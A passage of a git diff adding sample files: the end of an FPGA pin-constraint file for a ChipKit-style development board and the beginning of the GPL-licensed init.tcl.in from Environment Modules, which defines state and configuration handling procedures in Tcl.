+set_property -dict { PACKAGE_PIN U16   IOSTANDARD LVCMOS33 } [get_ports { ck_io1  }]; #IO_L18P_T2_A12_D28_14 Sch=ck_io[1]
+set_property -dict { PACKAGE_PIN P14   IOSTANDARD LVCMOS33 } [get_ports { ck_io2  }]; #IO_L8N_T1_D12_14 Sch=ck_io[2]
+set_property -dict { PACKAGE_PIN T11   IOSTANDARD LVCMOS33 } [get_ports { ck_io3  }]; #IO_L19P_T3_A10_D26_14 Sch=ck_io[3]
+set_property -dict { PACKAGE_PIN R12   IOSTANDARD LVCMOS33 } [get_ports { ck_io4  }]; #IO_L5P_T0_D06_14 Sch=ck_io[4]
+set_property -dict { PACKAGE_PIN T14   IOSTANDARD LVCMOS33 } [get_ports { ck_io5  }]; #IO_L14P_T2_SRCC_14 Sch=ck_io[5]
+set_property -dict { PACKAGE_PIN T15   IOSTANDARD LVCMOS33 } [get_ports { ck_io6  }]; #IO_L14N_T2_SRCC_14 Sch=ck_io[6]
+set_property -dict { PACKAGE_PIN T16   IOSTANDARD LVCMOS33 } [get_ports { ck_io7  }]; #IO_L15N_T2_DQS_DOUT_CSO_B_14 Sch=ck_io[7]
+set_property -dict { PACKAGE_PIN N15   IOSTANDARD LVCMOS33 } [get_ports { ck_io8  }]; #IO_L11P_T1_SRCC_14 Sch=ck_io[8]
+set_property -dict { PACKAGE_PIN M16   IOSTANDARD LVCMOS33 } [get_ports { ck_io9  }]; #IO_L10P_T1_D14_14 Sch=ck_io[9]
+set_property -dict { PACKAGE_PIN V17   IOSTANDARD LVCMOS33 } [get_ports { ck_io10 }]; #IO_L18N_T2_A11_D27_14 Sch=ck_io[10]
+set_property -dict { PACKAGE_PIN U18   IOSTANDARD LVCMOS33 } [get_ports { ck_io11 }]; #IO_L17N_T2_A13_D29_14 Sch=ck_io[11]
+set_property -dict { PACKAGE_PIN R17   IOSTANDARD LVCMOS33 } [get_ports { ck_io12 }]; #IO_L12N_T1_MRCC_14 Sch=ck_io[12]
+set_property -dict { PACKAGE_PIN P17   IOSTANDARD LVCMOS33 } [get_ports { ck_io13 }]; #IO_L12P_T1_MRCC_14 Sch=ck_io[13]
+
+# ChipKit Inner Digital Header
+set_property -dict { PACKAGE_PIN U11   IOSTANDARD LVCMOS33 } [get_ports { ck_io26 }]; #IO_L19N_T3_A09_D25_VREF_14 Sch=ck_io[26]
+set_property -dict { PACKAGE_PIN V16   IOSTANDARD LVCMOS33 } [get_ports { ck_io27 }]; #IO_L16N_T2_A15_D31_14 Sch=ck_io[27]
+set_property -dict { PACKAGE_PIN M13   IOSTANDARD LVCMOS33 } [get_ports { ck_io28 }]; #IO_L6N_T0_D08_VREF_14 Sch=ck_io[28]
+set_property -dict { PACKAGE_PIN R10   IOSTANDARD LVCMOS33 } [get_ports { ck_io29 }]; #IO_25_14 Sch=ck_io[29]
+set_property -dict { PACKAGE_PIN R11   IOSTANDARD LVCMOS33 } [get_ports { ck_io30 }]; #IO_0_14 Sch=ck_io[30]
+set_property -dict { PACKAGE_PIN R13   IOSTANDARD LVCMOS33 } [get_ports { ck_io31 }]; #IO_L5N_T0_D07_14 Sch=ck_io[31]
+set_property -dict { PACKAGE_PIN R15   IOSTANDARD LVCMOS33 } [get_ports { ck_io32 }]; #IO_L13N_T2_MRCC_14 Sch=ck_io[32]
+set_property -dict { PACKAGE_PIN P15   IOSTANDARD LVCMOS33 } [get_ports { ck_io33 }]; #IO_L13P_T2_MRCC_14 Sch=ck_io[33]
+set_property -dict { PACKAGE_PIN R16   IOSTANDARD LVCMOS33 } [get_ports { ck_io34 }]; #IO_L15P_T2_DQS_RDWR_B_14 Sch=ck_io[34]
+set_property -dict { PACKAGE_PIN N16   IOSTANDARD LVCMOS33 } [get_ports { ck_io35 }]; #IO_L11N_T1_SRCC_14 Sch=ck_io[35]
+set_property -dict { PACKAGE_PIN N14   IOSTANDARD LVCMOS33 } [get_ports { ck_io36 }]; #IO_L8P_T1_D11_14 Sch=ck_io[36]
+set_property -dict { PACKAGE_PIN U17   IOSTANDARD LVCMOS33 } [get_ports { ck_io37 }]; #IO_L17P_T2_A14_D30_14 Sch=ck_io[37]
+set_property -dict { PACKAGE_PIN T18   IOSTANDARD LVCMOS33 } [get_ports { ck_io38 }]; #IO_L7N_T1_D10_14 Sch=ck_io[38]
+set_property -dict { PACKAGE_PIN R18   IOSTANDARD LVCMOS33 } [get_ports { ck_io39 }]; #IO_L7P_T1_D09_14 Sch=ck_io[39]
+set_property -dict { PACKAGE_PIN P18   IOSTANDARD LVCMOS33 } [get_ports { ck_io40 }]; #IO_L9N_T1_DQS_D13_14 Sch=ck_io[40]
+set_property -dict { PACKAGE_PIN N17   IOSTANDARD LVCMOS33 } [get_ports { ck_io41 }]; #IO_L9P_T1_DQS_14 Sch=ck_io[41]
+
+# ChipKit Outer Analog Header - as Single-Ended Analog Inputs
+# NOTE: These ports can be used as single-ended analog inputs with voltages from 0-3.3V (ChipKit analog pins A0-A5) or as digital I/O.
+# WARNING: Do not use both sets of constraints at the same time!
+# NOTE: The following constraints should be used with the XADC IP core when using these ports as analog inputs.
+set_property -dict { PACKAGE_PIN C5    IOSTANDARD LVCMOS33 } [get_ports { vaux4_n  }]; #IO_L1N_T0_AD4N_35 	   Sch=ck_an_n[0] ChipKit pin=A0
+set_property -dict { PACKAGE_PIN C6    IOSTANDARD LVCMOS33 } [get_ports { vaux4_p  }]; #IO_L1P_T0_AD4P_35 	   Sch=ck_an_p[0] ChipKit pin=A0
+set_property -dict { PACKAGE_PIN A5    IOSTANDARD LVCMOS33 } [get_ports { vaux5_n  }]; #IO_L3N_T0_DQS_AD5N_35 Sch=ck_an_n[1] ChipKit pin=A1
+set_property -dict { PACKAGE_PIN A6    IOSTANDARD LVCMOS33 } [get_ports { vaux5_p  }]; #IO_L3P_T0_DQS_AD5P_35 Sch=ck_an_p[1] ChipKit pin=A1
+set_property -dict { PACKAGE_PIN B4    IOSTANDARD LVCMOS33 } [get_ports { vaux6_n  }]; #IO_L7N_T1_AD6N_35 	   Sch=ck_an_n[2] ChipKit pin=A2
+set_property -dict { PACKAGE_PIN C4    IOSTANDARD LVCMOS33 } [get_ports { vaux6_p  }]; #IO_L7P_T1_AD6P_35 	   Sch=ck_an_p[2] ChipKit pin=A2
+set_property -dict { PACKAGE_PIN A1    IOSTANDARD LVCMOS33 } [get_ports { vaux7_n  }]; #IO_L9N_T1_DQS_AD7N_35 Sch=ck_an_n[3] ChipKit pin=A3
+set_property -dict { PACKAGE_PIN B1    IOSTANDARD LVCMOS33 } [get_ports { vaux7_p  }]; #IO_L9P_T1_DQS_AD7P_35 Sch=ck_an_p[3] ChipKit pin=A3
+set_property -dict { PACKAGE_PIN B2    IOSTANDARD LVCMOS33 } [get_ports { vaux15_n }]; #IO_L10N_T1_AD15N_35   Sch=ck_an_n[4] ChipKit pin=A4
+set_property -dict { PACKAGE_PIN B3    IOSTANDARD LVCMOS33 } [get_ports { vaux15_p }]; #IO_L10P_T1_AD15P_35   Sch=ck_an_p[4] ChipKit pin=A4
+set_property -dict { PACKAGE_PIN C14   IOSTANDARD LVCMOS33 } [get_ports { vaux0_n  }]; #IO_L1N_T0_AD0N_15 	   Sch=ck_an_n[5] ChipKit pin=A5
+set_property -dict { PACKAGE_PIN D14   IOSTANDARD LVCMOS33 } [get_ports { vaux0_p  }]; #IO_L1P_T0_AD0P_15 	   Sch=ck_an_p[5] ChipKit pin=A5
+# ChipKit Outer Analog Header - as Digital I/O
+# NOTE: The following constraints should be used when using these ports as digital I/O.
+set_property -dict { PACKAGE_PIN F5    IOSTANDARD LVCMOS33 } [get_ports { ck_a0 }]; #IO_0_35 Sch=ck_a[0]
+set_property -dict { PACKAGE_PIN D8    IOSTANDARD LVCMOS33 } [get_ports { ck_a1 }]; #IO_L4P_T0_35 Sch=ck_a[1]
+set_property -dict { PACKAGE_PIN C7    IOSTANDARD LVCMOS33 } [get_ports { ck_a2 }]; #IO_L4N_T0_35 Sch=ck_a[2]
+set_property -dict { PACKAGE_PIN E7    IOSTANDARD LVCMOS33 } [get_ports { ck_a3 }]; #IO_L6P_T0_35 Sch=ck_a[3]
+set_property -dict { PACKAGE_PIN D7    IOSTANDARD LVCMOS33 } [get_ports { ck_a4 }]; #IO_L6N_T0_VREF_35 Sch=ck_a[4]
+set_property -dict { PACKAGE_PIN D5    IOSTANDARD LVCMOS33 } [get_ports { ck_a5 }]; #IO_L11P_T1_SRCC_35 Sch=ck_a[5]
+
+# ChipKit Inner Analog Header - as Differential Analog Inputs
+# NOTE: These ports can be used as differential analog inputs with voltages from 0-1.0V (ChipKit analog pins A6-A11) or as digital I/O.
+# WARNING: Do not use both sets of constraints at the same time!
+# NOTE: The following constraints should be used with the XADC core when using these ports as analog inputs.
+set_property -dict { PACKAGE_PIN B7    IOSTANDARD LVCMOS33 } [get_ports { vaux12_p }]; #IO_L2P_T0_AD12P_35 Sch=ad_p[12] ChipKit pin=A6
+set_property -dict { PACKAGE_PIN B6    IOSTANDARD LVCMOS33 } [get_ports { vaux12_n }]; #IO_L2N_T0_AD12N_35 Sch=ad_n[12] ChipKit pin=A7
+set_property -dict { PACKAGE_PIN E6    IOSTANDARD LVCMOS33 } [get_ports { vaux13_p }]; #IO_L5P_T0_AD13P_35 Sch=ad_p[13] ChipKit pin=A8
+set_property -dict { PACKAGE_PIN E5    IOSTANDARD LVCMOS33 } [get_ports { vaux13_n }]; #IO_L5N_T0_AD13N_35 Sch=ad_n[13] ChipKit pin=A9
+set_property -dict { PACKAGE_PIN A4    IOSTANDARD LVCMOS33 } [get_ports { vaux14_p }]; #IO_L8P_T1_AD14P_35 Sch=ad_p[14] ChipKit pin=A10
+set_property -dict { PACKAGE_PIN A3    IOSTANDARD LVCMOS33 } [get_ports { vaux14_n }]; #IO_L8N_T1_AD14N_35 Sch=ad_n[14] ChipKit pin=A11
+# ChipKit Inner Analog Header - as Digital I/O
+# NOTE: The following constraints should be used when using the inner analog header ports as digital I/O.
+set_property -dict { PACKAGE_PIN B7    IOSTANDARD LVCMOS33 } [get_ports { ck_a6  }]; #IO_L2P_T0_AD12P_35 Sch=ad_p[12]
+set_property -dict { PACKAGE_PIN B6    IOSTANDARD LVCMOS33 } [get_ports { ck_a7  }]; #IO_L2N_T0_AD12N_35 Sch=ad_n[12]
+set_property -dict { PACKAGE_PIN E6    IOSTANDARD LVCMOS33 } [get_ports { ck_a8  }]; #IO_L5P_T0_AD13P_35 Sch=ad_p[13]
+set_property -dict { PACKAGE_PIN E5    IOSTANDARD LVCMOS33 } [get_ports { ck_a9  }]; #IO_L5N_T0_AD13N_35 Sch=ad_n[13]
+set_property -dict { PACKAGE_PIN A4    IOSTANDARD LVCMOS33 } [get_ports { ck_a10 }]; #IO_L8P_T1_AD14P_35 Sch=ad_p[14]
+set_property -dict { PACKAGE_PIN A3    IOSTANDARD LVCMOS33 } [get_ports { ck_a11 }]; #IO_L8N_T1_AD14N_35 Sch=ad_n[14]
+
+# ChipKit SPI
+set_property -dict { PACKAGE_PIN G1    IOSTANDARD LVCMOS33 } [get_ports { ck_miso }]; #IO_L17N_T2_35 Sch=ck_miso
+set_property -dict { PACKAGE_PIN H1    IOSTANDARD LVCMOS33 } [get_ports { ck_mosi }]; #IO_L17P_T2_35 Sch=ck_mosi
+set_property -dict { PACKAGE_PIN F1    IOSTANDARD LVCMOS33 } [get_ports { ck_sck }]; #IO_L18P_T2_35 Sch=ck_sck
+set_property -dict { PACKAGE_PIN C1    IOSTANDARD LVCMOS33 } [get_ports { ck_ss }]; #IO_L16N_T2_35 Sch=ck_ss
+
+# ChipKit I2C
+set_property -dict { PACKAGE_PIN L18   IOSTANDARD LVCMOS33 } [get_ports { ck_scl }]; #IO_L4P_T0_D04_14 Sch=ck_scl
+set_property -dict { PACKAGE_PIN M18   IOSTANDARD LVCMOS33 } [get_ports { ck_sda }]; #IO_L4N_T0_D05_14 Sch=ck_sda
+set_property -dict { PACKAGE_PIN A14   IOSTANDARD LVCMOS33 } [get_ports { scl_pup }]; #IO_L9N_T1_DQS_AD3N_15 Sch=scl_pup
+set_property -dict { PACKAGE_PIN A13   IOSTANDARD LVCMOS33 } [get_ports { sda_pup }]; #IO_L9P_T1_DQS_AD3P_15 Sch=sda_pup
+
+# Misc. ChipKit Ports
+set_property -dict { PACKAGE_PIN M17   IOSTANDARD LVCMOS33 } [get_ports { ck_ioa }]; #IO_L10N_T1_D15_14 Sch=ck_ioa
+set_property -dict { PACKAGE_PIN C2    IOSTANDARD LVCMOS33 } [get_ports { ck_rst }]; #IO_L16P_T2_35 Sch=ck_rst
+
+# SMSC Ethernet PHY
+set_property -dict { PACKAGE_PIN D17   IOSTANDARD LVCMOS33 } [get_ports { eth_col }]; #IO_L16N_T2_A27_15 Sch=eth_col
+set_property -dict { PACKAGE_PIN G14   IOSTANDARD LVCMOS33 } [get_ports { eth_crs }]; #IO_L15N_T2_DQS_ADV_B_15 Sch=eth_crs
+set_property -dict { PACKAGE_PIN F16   IOSTANDARD LVCMOS33 } [get_ports { eth_mdc }]; #IO_L14N_T2_SRCC_15 Sch=eth_mdc
+set_property -dict { PACKAGE_PIN K13   IOSTANDARD LVCMOS33 } [get_ports { eth_mdio }]; #IO_L17P_T2_A26_15 Sch=eth_mdio
+set_property -dict { PACKAGE_PIN G18   IOSTANDARD LVCMOS33 } [get_ports { eth_ref_clk }]; #IO_L22P_T3_A17_15 Sch=eth_ref_clk
+set_property -dict { PACKAGE_PIN C16   IOSTANDARD LVCMOS33 } [get_ports { eth_rstn }]; #IO_L20P_T3_A20_15 Sch=eth_rstn
+set_property -dict { PACKAGE_PIN F15   IOSTANDARD LVCMOS33 } [get_ports { eth_rx_clk }]; #IO_L14P_T2_SRCC_15 Sch=eth_rx_clk
+set_property -dict { PACKAGE_PIN G16   IOSTANDARD LVCMOS33 } [get_ports { eth_rx_dv }]; #IO_L13N_T2_MRCC_15 Sch=eth_rx_dv
+set_property -dict { PACKAGE_PIN D18   IOSTANDARD LVCMOS33 } [get_ports { eth_rxd[0] }]; #IO_L21N_T3_DQS_A18_15 Sch=eth_rxd[0]
+set_property -dict { PACKAGE_PIN E17   IOSTANDARD LVCMOS33 } [get_ports { eth_rxd[1] }]; #IO_L16P_T2_A28_15 Sch=eth_rxd[1]
+set_property -dict { PACKAGE_PIN E18   IOSTANDARD LVCMOS33 } [get_ports { eth_rxd[2] }]; #IO_L21P_T3_DQS_15 Sch=eth_rxd[2]
+set_property -dict { PACKAGE_PIN G17   IOSTANDARD LVCMOS33 } [get_ports { eth_rxd[3] }]; #IO_L18N_T2_A23_15 Sch=eth_rxd[3]
+set_property -dict { PACKAGE_PIN C17   IOSTANDARD LVCMOS33 } [get_ports { eth_rxerr }]; #IO_L20N_T3_A19_15 Sch=eth_rxerr
+set_property -dict { PACKAGE_PIN H16   IOSTANDARD LVCMOS33 } [get_ports { eth_tx_clk }]; #IO_L13P_T2_MRCC_15 Sch=eth_tx_clk
+set_property -dict { PACKAGE_PIN H15   IOSTANDARD LVCMOS33 } [get_ports { eth_tx_en }]; #IO_L19N_T3_A21_VREF_15 Sch=eth_tx_en
+set_property -dict { PACKAGE_PIN H14   IOSTANDARD LVCMOS33 } [get_ports { eth_txd[0] }]; #IO_L15P_T2_DQS_15 Sch=eth_txd[0]
+set_property -dict { PACKAGE_PIN J14   IOSTANDARD LVCMOS33 } [get_ports { eth_txd[1] }]; #IO_L19P_T3_A22_15 Sch=eth_txd[1]
+set_property -dict { PACKAGE_PIN J13   IOSTANDARD LVCMOS33 } [get_ports { eth_txd[2] }]; #IO_L17N_T2_A25_15 Sch=eth_txd[2]
+set_property -dict { PACKAGE_PIN H17   IOSTANDARD LVCMOS33 } [get_ports { eth_txd[3] }]; #IO_L18P_T2_A24_15 Sch=eth_txd[3]
+
+# Quad SPI Flash
+set_property -dict { PACKAGE_PIN L13   IOSTANDARD LVCMOS33 } [get_ports { qspi_cs }]; #IO_L6P_T0_FCS_B_14 Sch=qspi_cs
+set_property -dict { PACKAGE_PIN K17   IOSTANDARD LVCMOS33 } [get_ports { qspi_dq[0] }]; #IO_L1P_T0_D00_MOSI_14 Sch=qspi_dq[0]
+set_property -dict { PACKAGE_PIN K18   IOSTANDARD LVCMOS33 } [get_ports { qspi_dq[1] }]; #IO_L1N_T0_D01_DIN_14 Sch=qspi_dq[1]
+set_property -dict { PACKAGE_PIN L14   IOSTANDARD LVCMOS33 } [get_ports { qspi_dq[2] }]; #IO_L2P_T0_D02_14 Sch=qspi_dq[2]
+set_property -dict { PACKAGE_PIN M14   IOSTANDARD LVCMOS33 } [get_ports { qspi_dq[3] }]; #IO_L2N_T0_D03_14 Sch=qspi_dq[3]
+
+# Power Measurements 
+set_property -dict { PACKAGE_PIN B17   IOSTANDARD LVCMOS33     } [get_ports { vsnsvu_n }]; #IO_L7N_T1_AD2N_15 Sch=ad_n[2]
+set_property -dict { PACKAGE_PIN B16   IOSTANDARD LVCMOS33     } [get_ports { vsnsvu_p }]; #IO_L7P_T1_AD2P_15 Sch=ad_p[2]
+set_property -dict { PACKAGE_PIN B12   IOSTANDARD LVCMOS33     } [get_ports { vsns5v0_n }]; #IO_L3N_T0_DQS_AD1N_15 Sch=ad_n[1]
+set_property -dict { PACKAGE_PIN C12   IOSTANDARD LVCMOS33     } [get_ports { vsns5v0_p }]; #IO_L3P_T0_DQS_AD1P_15 Sch=ad_p[1]
+set_property -dict { PACKAGE_PIN F14   IOSTANDARD LVCMOS33     } [get_ports { isns5v0_n }]; #IO_L5N_T0_AD9N_15 Sch=ad_n[9]
+set_property -dict { PACKAGE_PIN F13   IOSTANDARD LVCMOS33     } [get_ports { isns5v0_p }]; #IO_L5P_T0_AD9P_15 Sch=ad_p[9]
+set_property -dict { PACKAGE_PIN A16   IOSTANDARD LVCMOS33     } [get_ports { isns0v95_n }]; #IO_L8N_T1_AD10N_15 Sch=ad_n[10]
+set_property -dict { PACKAGE_PIN A15   IOSTANDARD LVCMOS33     } [get_ports { isns0v95_p }]; #IO_L8P_T1_AD10P_15 Sch=ad_p[10]
diff --git a/samples/Tcl/init.tcl.in b/samples/Tcl/init.tcl.in
new file mode 100644
index 0000000000..5fc5254a75
--- /dev/null
+++ b/samples/Tcl/init.tcl.in
@@ -0,0 +1,738 @@
+##########################################################################
+
+# INIT.TCL, configuration and state handing procedures
+# Copyright (C) 2002-2004 Mark Lakata
+# Copyright (C) 2004-2017 Kent Mein
+# Copyright (C) 2016-2021 Xavier Delaruelle
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+##########################################################################
+
+# Runtime state properties (default value, proc to call to initialize state
+# value?)
+array set g_state_defs [list\
+   autoinit {0}\
+   clock_seconds {<undef> initStateClockSeconds}\
+   domainname {<undef> {runCommand domainname}}\
+   error_count {0}\
+   extra_siteconfig_loaded {0}\
+   false_rendered {0}\
+   force {0}\
+   hiding_threshold {0}\
+   inhibit_errreport {0}\
+   inhibit_interp {0}\
+   init_error_report {0}\
+   is_stderr_tty {<undef> initStateIsStderrTty}\
+   is_win {<undef> initStateIsWin}\
+   kernelversion {<undef> {runCommand uname -v}}\
+   lm_info_cached {0}\
+   machine [list $::tcl_platform(machine)]\
+   nodename {<undef> {runCommand uname -n}}\
+   os [list $::tcl_platform(os)]\
+   osversion [list $::tcl_platform(osVersion)]\
+   paginate {<undef> initStatePaginate}\
+   path_separator {<undef> initStatePathSeparator}\
+   report_format {regular}\
+   reportfd {stderr initStateReportfd}\
+   return_false {0}\
+   siteconfig_loaded {0}\
+   sub1_separator {&}\
+   sub2_separator {|}\
+   tcl_ext_lib_loaded {0}\
+   tcl_version [list [info patchlevel]]\
+   tcl_version_lt85 {<undef> initStateTclVersionLt85}\
+   term_columns {<undef> initStateTermColumns}\
+   usergroups {<undef> initStateUsergroups}\
+   username {<undef> initStateUsername}\
+]
+
+# Configuration option properties (superseding environment variable, default
+# value, is configuration lockable to default value, valid value list?,
+# internal value representation?, proc to call to initialize option value,
+# valid value list kind
+array set g_config_defs [list\
+   contact {MODULECONTACT root@localhost 0}\
+   auto_handling {MODULES_AUTO_HANDLING @autohandling@ 0 {0 1}}\
+   avail_indepth {MODULES_AVAIL_INDEPTH @availindepth@ 0 {0 1}}\
+   avail_output {MODULES_AVAIL_OUTPUT {@availoutput@} 0 {modulepath alias\
+      dirwsym sym tag key} {} {} eltlist}\
+   avail_terse_output {MODULES_AVAIL_TERSE_OUTPUT {@availterseoutput@} 0\
+      {modulepath alias dirwsym sym tag key} {} {} eltlist}\
+   collection_pin_version {MODULES_COLLECTION_PIN_VERSION 0 0 {0 1}}\
+   collection_target {MODULES_COLLECTION_TARGET <undef> 0}\
+   color {MODULES_COLOR @color@ 0 {never auto always} {0 1 2} initConfColor}\
+   colors {MODULES_COLORS {} 0 {} {} initConfColors}\
+   csh_limit {{} 4000 0}\
+   extra_siteconfig {MODULES_SITECONFIG <undef> 1 {}}\
+   editor {MODULES_EDITOR {@editor@} 0 {} {} initConfEditor}\
+   home {MODULESHOME @moduleshome@ 0}\
+   icase {MODULES_ICASE @icase@ 0 {never search always}}\
+   ignored_dirs {{} {CVS RCS SCCS .svn .git .SYNC .sos} 0}\
+   implicit_requirement {MODULES_IMPLICIT_REQUIREMENT @implicitrequirement@ 0\
+      {0 1}}\
+   list_output {MODULES_LIST_OUTPUT {@listoutput@} 0 {header idx variant sym\
+      tag key} {} {} eltlist}\
+   list_terse_output {MODULES_LIST_TERSE_OUTPUT {@listterseoutput@} 0 {header\
+      idx variant sym tag key} {} {} eltlist}\
+   locked_configs {{} {@lockedconfigs@} 0}\
+   mcookie_version_check {MODULES_MCOOKIE_VERSION_CHECK\
+      @mcookieversioncheck@ 0 {0 1}}\
+   ml {MODULES_ML @ml@ 0 {0 1}}\
+   nearly_forbidden_days {MODULES_NEARLY_FORBIDDEN_DAYS @nearlyforbiddendays@\
+      0 {0 365} {} {} intbe}\
+   pager {MODULES_PAGER {@pagercmd@} 0}\
+   rcfile {MODULERCFILE <undef> 0}\
+   run_quarantine {MODULES_RUN_QUARANTINE <undef> 0}\
+   shells_with_ksh_fpath {MODULES_SHELLS_WITH_KSH_FPATH {} 0 {sh bash csh\
+      tcsh fish} {} {} eltlist}\
+   silent_shell_debug {MODULES_SILENT_SHELL_DEBUG <undef> 0 {0 1}}\
+   siteconfig {{} @etcdir@/siteconfig.tcl 0}\
+   tag_abbrev {MODULES_TAG_ABBREV {@tagabbrev@} 0 {} {} initConfTagAbbrev}\
+   tag_color_name {MODULES_TAG_COLOR_NAME {@tagcolorname@} 0 {} {}\
+      initConfTagColorName}\
+   tcl_ext_lib {{} {} 0 {} {} initConfTclExtLib}\
+   term_background {MODULES_TERM_BACKGROUND @termbg@ 0 {dark light}}\
+   term_width {MODULES_TERM_WIDTH 0 0 {0 1000} {} {} intbe}\
+   unload_match_order {MODULES_UNLOAD_MATCH_ORDER @unloadmatchorder@ 0\
+      {returnlast returnfirst}}\
+   implicit_default {MODULES_IMPLICIT_DEFAULT @implicitdefault@ 1 {0 1}}\
+   extended_default {MODULES_EXTENDED_DEFAULT @extendeddefault@ 0 {0 1}}\
+   advanced_version_spec {MODULES_ADVANCED_VERSION_SPEC @advversspec@ 0 {0\
+      1}}\
+   search_match {MODULES_SEARCH_MATCH @searchmatch@ 0 {starts_with contains}}\
+   set_shell_startup {MODULES_SET_SHELL_STARTUP @setshellstartup@ 0 {0 1}}\
+   variant_shortcut {MODULES_VARIANT_SHORTCUT {@variantshortcut@} 0 {} {}\
+      initConfVariantShortcut}\
+   verbosity {MODULES_VERBOSITY @verbosity@ 0 {silent concise normal verbose\
+      verbose2 trace debug debug2}}\
+   wa_277 {MODULES_WA_277 @wa277@ 0 {0 1}}\
+]
+
+# Get state value
+proc getState {state {valifundef {}} {catchinitproc 0}} {
+   if {![info exists ::g_states($state)]} {
+      # fetch state properties (including its default value) if defined
+      if {[info exists ::g_state_defs($state)]} {
+         lassign $::g_state_defs($state) value initproclist
+      } else {
+         set value <undef>
+         set initproclist {}
+      }
+
+      # call specific proc to initialize state if any
+      if {$initproclist ne {}} {
+         # catch init procedure error and report it as warning, so default
+         # value will get set for state
+         if {$catchinitproc} {
+            if {[catch {set value [{*}$initproclist]} errMsg]} {
+               reportWarning $errMsg
+            }
+         } else {
+            set value [{*}$initproclist]
+         }
+      # overridden value coming the command-line
+      } elseif {[info exists ::asked_$state]} {
+         set value [set ::asked_$state]
+      }
+
+      # return passed value if undefined and no value record
+      if {$value eq {<undef>}} {
+         set value $valifundef
+      } else {
+         setState $state $value
+      }
+      return $value
+   } else {
+      return $::g_states($state)
+   }
+}
+
+# Clear state
+proc unsetState {state} {
+   unset ::g_states($state)
+   reportDebug "$state unset"
+}
+
+# Set state value
+proc setState {state value} {
+   set ::g_states($state) $value
+   reportDebug "$state set to '$value'"
+}
+
+# Append each passed value to the existing state value list
+proc lappendState {state args} {
+   if {$state eq {-nodup}} {
+      set state [lindex $args 0]
+      # retrieve current val through getState to initialize it if still undef
+      set value [getState $state]
+      appendNoDupToList value {*}[lrange $args 1 end]
+      setState $state $value
+   } else {
+      lappend ::g_states($state) {*}$args
+      reportDebug "$state appended with '$args'"
+   }
+}
+
+# Remove last element from state value list
+proc lpopState {state} {
+   setState $state [lrange [getState $state] 0 end-1]
+}
+
+# Return first element from state value list
+proc topState {state} {
+   return [lindex [getState $state] 0]
+}
+
+# Return last element from state value list
+proc currentState {state} {
+   return [lindex [getState $state] end]
+}
+
+# Get number of element from state value list
+proc depthState {state} {
+   return [llength [getState $state]]
+}
+
+# Check if state has been defined
+proc isStateDefined {state} {
+   return [info exists ::g_states($state)]
+}
+
+# Check if state equals passed value
+proc isStateEqual {state value} {
+   return [expr {[getState $state] eq $value}]
+}
+
+proc isConfigLocked {option} {
+   return [expr {[lsearch -exact [getConf locked_configs] $option] != -1}]
+}
+
+# Get configuration option value
+proc getConf {option {valifundef {}}} {
+   if {![info exists ::g_configs($option)]} {
+      # fetch option properties (including its default value)
+      lassign $::g_config_defs($option) envvar value islockable validvallist\
+         intvallist initproc validvallistkind
+
+      # ensure option is not locked before superseding its default value
+      if {!$islockable || ![isConfigLocked $option]} {
+         # call specific proc to initialize config option if any
+         if {$initproc ne {}} {
+            set value [$initproc $envvar $value $validvallist $intvallist]
+         } else {
+            # overridden value coming from environment
+            if {$envvar ne {} && [info exists ::env($envvar)]} {
+               switch -- $validvallistkind {
+                  eltlist {
+                     # ignore non-valid values
+                     if {![isDiffBetweenList [split $::env($envvar) :]\
+                        $validvallist]} {
+                        set value $::env($envvar)
+                     }
+                  }
+                  intbe {
+                     # ignore non-valid values
+                     if {[string is integer -strict $::env($envvar)] &&\
+                        $::env($envvar) >= [lindex $validvallist 0] &&\
+                        $::env($envvar) <= [lindex $validvallist 1]} {
+                        set value $::env($envvar)
+                     }
+                  }
+                  {} {
+                     # ignore non-valid values
+                     if {[switch -- [llength $validvallist] {
+                        0 {expr {1 == 1}}
+                        1 {string is $validvallist -strict $::env($envvar)}
+                        default {expr {$::env($envvar) in $validvallist}}
+                     }]} {
+                        set value $::env($envvar)
+                     }
+                  }
+               }
+            }
+
+            # overridden value coming the command-line (already validated)
+            if {[info exists ::asked_$option]} {
+               set value [set ::asked_$option]
+            }
+
+            # convert value to its internal representation
+            if {[llength $intvallist] > 0} {
+               set value [lindex $intvallist [lsearch -exact $validvallist\
+                  $value]]
+            }
+         }
+      }
+
+      # return passed value if undefined and no value record
+      if {$value eq {<undef>}} {
+         set value $valifundef
+      } else {
+         setConf $option $value
+      }
+      return $value
+   } else {
+      return $::g_configs($option)
+   }
+}
+
+# Set configuration option value
+proc setConf {option value} {
+   set ::g_configs($option) $value
+   reportDebug "$option set to '$value'"
+}
+
+# Unset configuration option value if it is set
+proc unsetConf {option} {
+   if {[info exists ::g_configs($option)]} {
+      unset ::g_configs($option)
+      reportDebug "$option unset"
+   }
+}
+
+# Append each passed value to the existing config option value list
+proc lappendConf {option args} {
+   # retrieve current value through getConf to initialize it if still undef
+   set value [getConf $option]
+   appendNoDupToList value {*}$args
+   setConf $option $value
+}
+
+# Source site config which can be used to define global procedures or
+# settings. We first look for the global siteconfig, then if an extra
+# siteconfig is defined and allowed, source that file if it exists
+proc sourceSiteConfig {} {
+   lappend siteconfiglist [getConf siteconfig]
+   for {set i 0} {$i < [llength $siteconfiglist]} {incr i} {
+      set siteconfig [lindex $siteconfiglist $i]
+      if {[file readable $siteconfig]} {
+         reportDebug "Source site configuration ($siteconfig)"
+         if {[catch {uplevel 1 source $siteconfig} errMsg]} {
+            set errMsg "Site configuration source failed\n"
+            # issue line number is lost due to uplevel use
+            append errMsg [formatErrStackTrace $::errorInfo $siteconfig {}]
+            reportErrorAndExit $errMsg
+         }
+         if {$siteconfig eq [getConf siteconfig]} {
+            setState siteconfig_loaded 1
+         } else {
+            setState extra_siteconfig_loaded 1
+         }
+      }
+      # check on extra_siteconfig after initial siteconfig loaded in case
+      # it inhibits this extra load
+      if {$siteconfig eq [getConf siteconfig] && [getConf\
+         extra_siteconfig] ne {}} {
+         lappend siteconfiglist [getConf extra_siteconfig]
+      }
+   }
+}
+
+# Used to tell if a machine is running Windows or not
+proc initStateIsWin {} {
+   return [expr {$::tcl_platform(platform) eq {windows}}]
+}
+
+# Get default path separator
+proc initStatePathSeparator {} {
